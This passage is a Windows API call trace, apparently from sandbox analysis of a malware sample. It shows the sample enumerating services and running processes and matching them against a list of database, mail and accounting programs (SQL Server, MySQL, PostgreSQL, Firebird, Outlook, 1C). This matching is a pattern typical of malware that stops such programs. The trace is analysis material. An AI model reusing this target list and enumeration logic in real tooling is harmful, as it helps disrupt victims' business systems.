	[0244.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0244.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0244.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0244.418] lstrlenW (lpString="Dnscache") returned 8
	[0244.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0244.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0244.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0244.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0244.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0244.418] lstrlenW (lpString="eventlog") returned 8
	[0244.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0244.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0244.418] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0244.418] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0244.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0244.418] lstrlenW (lpString="EventSystem") returned 11
	[0244.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0244.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0244.418] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0244.418] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0244.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0244.418] lstrlenW (lpString="gpsvc") returned 5
	[0244.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0244.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0244.418] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0244.418] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0244.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0244.418] lstrlenW (lpString="lmhosts") returned 7
	[0244.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0244.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0244.419] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0244.419] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0244.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0244.419] lstrlenW (lpString="MMCSS") returned 5
	[0244.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0244.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0244.419] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0244.419] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0244.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0244.419] lstrlenW (lpString="nsi") returned 3
	[0244.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0244.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0244.419] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0244.419] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0244.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0244.419] lstrlenW (lpString="PlugPlay") returned 8
	[0244.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0244.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0244.419] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0244.419] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0244.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0244.419] lstrlenW (lpString="Power") returned 5
	[0244.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0244.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0244.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0244.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0244.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0244.419] lstrlenW (lpString="ProfSvc") returned 7
	[0244.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0244.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0244.419] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0244.419] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0244.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0244.419] lstrlenW (lpString="RpcEptMapper") returned 12
	[0244.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0244.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0244.420] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0244.420] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0244.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0244.420] lstrlenW (lpString="RpcSs") returned 5
	[0244.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0244.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0244.420] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0244.420] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0244.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0244.420] lstrlenW (lpString="SamSs") returned 5
	[0244.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0244.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0244.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0244.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0244.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0244.420] lstrlenW (lpString="Schedule") returned 8
	[0244.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0244.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0244.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0244.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0244.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0244.420] lstrlenW (lpString="SENS") returned 4
	[0244.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0244.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0244.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0244.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0244.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0244.420] lstrlenW (lpString="ShellHWDetection") returned 16
	[0244.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0244.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0244.420] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0244.420] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0244.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0244.420] lstrlenW (lpString="Spooler") returned 7
	[0244.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0244.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0244.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0244.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0244.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0244.421] lstrlenW (lpString="Themes") returned 6
	[0244.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0244.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0244.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0244.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0244.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0244.421] lstrlenW (lpString="UxSms") returned 5
	[0244.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0244.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0244.421] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0244.421] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0244.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0244.421] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd150 | out: hHeap=0x4a0000) returned 1
	[0244.428] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0
	[0244.431] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0244.431] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0244.431] lstrlenW (lpString="System") returned 6
	[0244.431] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0244.431] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0244.431] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0244.431] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0244.431] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0244.431] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0244.431] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0244.431] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0244.432] lstrlenW (lpString="smss.exe") returned 8
	[0244.432] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0244.432] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0244.432] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0244.432] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0244.432] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0244.432] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0244.432] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0244.432] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0244.432] lstrlenW (lpString="csrss.exe") returned 9
	[0244.432] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0244.432] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0244.432] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0244.432] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0244.432] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0244.432] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0244.432] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0244.432] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0244.432] lstrlenW (lpString="wininit.exe") returned 11
	[0244.432] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0244.432] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0244.433] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0244.433] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0244.433] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0244.433] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0244.433] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0244.433] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0244.433] lstrlenW (lpString="csrss.exe") returned 9
	[0244.433] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0244.433] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0244.433] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0244.433] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0244.433] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0244.433] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0244.433] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0244.433] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0244.433] lstrlenW (lpString="winlogon.exe") returned 12
	[0244.433] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0244.433] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0244.433] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0244.433] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0244.433] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0244.434] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0244.434] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0244.434] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0244.434] lstrlenW (lpString="services.exe") returned 12
	[0244.434] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0244.434] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0244.434] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0244.434] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0244.434] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0244.434] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0244.858] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0244.858] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0244.858] lstrlenW (lpString="lsass.exe") returned 9
	[0244.858] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0244.858] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0244.858] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0244.859] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0244.859] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0244.859] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0244.859] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0244.859] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0244.859] lstrlenW (lpString="lsm.exe") returned 7
	[0244.859] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0244.859] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0244.859] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0244.859] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0244.859] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0244.859] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0244.859] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0244.859] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0244.859] lstrlenW (lpString="svchost.exe") returned 11
	[0244.859] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0244.859] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0244.859] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0244.859] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0244.859] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0244.859] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0244.860] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0244.860] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0244.860] lstrlenW (lpString="svchost.exe") returned 11
	[0244.860] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0244.860] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0244.860] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0244.860] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0244.860] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0244.860] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0244.860] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0244.860] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0244.860] lstrlenW (lpString="svchost.exe") returned 11
	[0244.860] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0244.860] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0244.860] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0244.860] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0244.860] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0244.860] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0244.860] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0244.860] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0244.861] lstrlenW (lpString="svchost.exe") returned 11
	[0244.861] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0244.861] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0244.861] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0244.861] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0244.861] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0244.861] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0244.861] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0244.861] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0244.861] lstrlenW (lpString="svchost.exe") returned 11
	[0244.861] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0244.861] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0244.861] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0244.861] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0244.861] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0244.861] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0244.861] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0244.861] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0244.862] lstrlenW (lpString="audiodg.exe") returned 11
	[0244.862] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0244.862] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0244.862] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0244.862] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0244.862] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0244.862] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0244.862] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0244.862] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0244.862] lstrlenW (lpString="svchost.exe") returned 11
	[0244.862] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0244.862] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0244.862] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0244.862] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0244.862] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0244.862] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0244.862] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0244.862] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0244.863] lstrlenW (lpString="userinit.exe") returned 12
	[0244.863] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1
	[0244.863] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1
	[0244.863] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1
	[0244.863] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1
	[0244.863] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1
	[0244.863] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1
	[0244.863] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1
	[0244.863] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0244.863] lstrlenW (lpString="explorer.exe") returned 12
	[0244.863] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1
	[0244.863] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1
	[0244.863] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1
	[0244.863] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1
	[0244.863] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1
